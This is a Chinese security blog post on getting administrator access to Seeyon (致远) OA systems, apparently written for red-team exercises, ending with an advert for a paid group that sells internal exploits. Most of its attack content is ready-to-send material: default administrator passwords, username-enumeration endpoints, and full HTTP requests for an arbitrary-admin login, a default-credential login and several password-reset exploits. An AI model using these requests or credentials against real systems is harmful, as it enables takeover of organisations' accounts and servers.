如果觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅。
同时为了感谢师傅们的支持,订阅号的这篇文章下也有星球优惠券,先到先得!!
免责声明
本公众号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。
前言
致远作为hw常见OA之一,本身存在众多漏洞,但大多漏洞都只存在于后台。所以这里就分享一下如何获取后台权限或者权限绕过常见的几种方法。
默认口令
audit-admin/seeyon123456
admin1/123456
group-admin/123456
system/system
用户名枚举
/seeyon/rest/password/retrieve/send/{username}
/seeyon/rest/password/retrieve/getEmailByLoginName/{username}
/seeyon/personalBind.do?method=getBindTypeByLoginName&loginName={username}
这几个接口存在用户名枚举,可以配合下面爆破或者需要知道用户名的密码更改的漏洞使用。
thirdpartyController任意管理员用户登录
这个只有在部分老一点的致远中才可以遇到。
GET /seeyon/thirdpartyController.do?method=access&enc=TT5uZnR0YmhmL21qb2wvY2N0L3BxZm8nTj4uODM4NDE0MzEyNDM0NTg1OTI3OSdVPjI3OTM2MjU4MjQ4ODY= HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
可以在响应包中得到一个
JSESSIONID
,在携带
JSESSIONID
访问
/seeyon/online.do
接口进行验证。
GET /seeyon/online.do?method=showOnlineUser HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=获取到的cookie
Connection: close
具体原理不重复分析,怕文章太长。文章参考:致远OA A8-V5 任意用户登录漏洞分析 | Fan的小酒馆 (fanygit.github.io)
需要自己更改payload的话用致远中
LightWeightEncoder.decodeString
这个方法加密即可。
ucpcLogin审计管理员登录
这个是我目前常用的获取后台权限的方法之一,全版本都可以尝试。
接口利用审计管理员默认用户密码登录(audit-admin/seeyon123456),登录成功后可以获取合法cookie(也是返回包中的set-cookie字段)
POST /seeyon/rest/authentication/ucpcLogin HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
login_username=audit-admin&login_password=seeyon123456
接口本质上好像就是一个登录接口,如果默认账号密码失败的的话,可能可以利用上面用户名枚举爆破用户名,这个接口这里爆破密码。
rest接口密码重置
可以更改任意管理员的密码。
发送如下请求,重置密码为share.do
PUT /seeyon/rest/orgMember/-7273032013234748168/password/share.do HTTP/1.1
Host: 192.168.37.138:8886
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=1E4AA17811924EA74C61F1DC77AD9505; loginPageURL=
If-None-Match: W/"950464-1696145816972"
If-Modified-Since: Sun, 01 Oct 2023 07:36:56 GMT
Connection: close
具体原理移步至:致远OA rest接口重置密码漏洞分析 - 先知社区 (aliyun.com)
致远前台任意用户密码修改
需要知道用户名,用户名可以通过上面的接口爆破。
/seeyon/personalBind.do?method=retrievePassword
/seeyon/personalBind.do?method=sendVerificationCodeToBindNum&type=validate&origin=zx
修改密码为1qaz@WSX
/seeyon/individualManager.do?method=resetPassword&nowpwd=1qaz@WSX
resetPassword接口密码重置
用户名可通过上面枚举接口枚举。
POST /seeyon/rest/phoneLogin/phoneCode/resetPassword HTTP/1.1
Host: 127.0.0.1
User-Agent: Go-http-client/1.1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Content-Length: 24
{"loginName":"admin","password":"1qaz@WSX12312123"}
各个版本权限绕过
这一少部分留在星球,比如说致远的古早版本可以通过访问可匿名访问目录,再通过../的方法穿越,或者通过;.js访问静态文件的方式绕过。7.x及8.x都有对应的绕过缺陷。
关于星球
星球里有团队内部POC分享。星球定期更新安全内容,包括:内部漏洞库情报分享(包括部分未公开0/1day)、poc利用工具及内部最新研究成果。圈子目前价格为89元(交个朋友),后续人员加入数量多的话会考虑涨价(先到先得!!)。感谢师傅们的支持!!
可能有之前关注我们公众号的师傅会疑问,为什么之前是59元,现在是89元了。因为我们的星球满50人了,决定涨一次价格。在涨价后我们也会发出一轮优惠券,还在观望的师傅也可以先进来参观一轮,优惠券截止日期为2024年8月2日,这里再次感谢师傅们的支持。
以下有10元优惠券20张及20元优惠券10张,先到先得。
版权归原作者 LiangYueSec 所有, 如有侵权,请联系我们删除。